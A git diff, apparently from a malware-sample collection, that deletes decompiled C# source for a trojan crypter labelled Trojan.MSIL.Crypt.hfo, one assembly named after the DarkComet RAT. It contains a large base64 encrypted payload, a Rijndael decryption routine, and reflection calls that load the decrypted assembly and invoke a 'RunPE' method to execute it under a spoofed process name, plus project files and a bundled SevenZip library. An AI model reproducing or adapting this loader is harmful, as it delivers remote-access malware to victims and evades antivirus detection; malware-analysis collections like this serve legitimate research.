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- Driver.Ty36Ezo9KNa57BkHg8m2AFc("IMETHOD", "ibMethod", Wz36YeEp74AgFw89NqCm2n5J2, new object[1] - { - (object) "drvhostp4.exe" - }); - Driver.Ty36Ezo9KNa57BkHg8m2AFc("RPEMETHOD", "Run", Wz36YeEp74AgFw89NqCm2n5J2, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool Ty36Ezo9KNa57BkHg8m2AFc( - string y6DHg4o9QAn57X, - string Gp7y6R4AfKr9s3ENi82C, - Assembly Wz36YeEp74AgFw89NqCm2n5J2, - object[] p2M5DnLk8b3Y) - { - try - { - Type type = Wz36YeEp74AgFw89NqCm2n5J2.GetType(y6DHg4o9QAn57X); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(Gp7y6R4AfKr9s3ENi82C); - if ((object) method != null) - return (bool) method.Invoke((object) null, p2M5DnLk8b3Y); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] s9CLo54Dft3R2N( - string Bc8k5J3YgCr76WiKn92ZtMb43, - string y8NLj9s7E6Rad5QJp2r4W3Pxt2Y, - string Na38DeCq7y9M6ZoSt42HgGc52BsQd3, - string Ty36Ezo9KNa57BkHg8m2AFc, - int Td69FcKy5q3WDx78Rik2E4MzNn4, - string Sw7i5N2Zpc9L4AyBj36EbCo8r6X, - int i7W3Lod9A2Rjp5BG) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(Sw7i5N2Zpc9L4AyBj36EbCo8r6X); - byte[] bytes2 = Encoding.ASCII.GetBytes(Na38DeCq7y9M6ZoSt42HgGc52BsQd3); - byte[] buffer = Convert.FromBase64String(Bc8k5J3YgCr76WiKn92ZtMb43); - byte[] bytes3 = new PasswordDeriveBytes(y8NLj9s7E6Rad5QJp2r4W3Pxt2Y, bytes2, Ty36Ezo9KNa57BkHg8m2AFc, Td69FcKy5q3WDx78Rik2E4MzNn4).GetBytes(i7W3Lod9A2Rjp5BG / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index eaa1159d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {FC69261E-E770-4783-9752-C514214F18E3} - WinExe - P4CTEMP - 1.0.0.0 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index 752ec002..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "P4CTEMP", "Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.csproj", "{FC69261E-E770-4783-9752-C514214F18E3}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FC69261E-E770-4783-9752-C514214F18E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FC69261E-E770-4783-9752-C514214F18E3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FC69261E-E770-4783-9752-C514214F18E3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FC69261E-E770-4783-9752-C514214F18E3}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/AssemblyInfo.cs deleted file mode 100644 index d0d36ac6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("Te67BpSt8")] -[assembly: AssemblyTrademark("Jw28Fqk9S")] -[assembly: AssemblyCopyright("y3G5PcJn4s")] -[assembly: AssemblyProduct("j3B8Tyc2SK")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("k4ZTz67Y")] -[assembly: AssemblyTitle("Fp9t5G4J")] -[assembly: AssemblyFileVersion("3.2.7.2")] -[assembly: AssemblyVersion("1.5.1.7")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Buffer/InBuffer.cs deleted file mode 100644 index c96c8925..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; 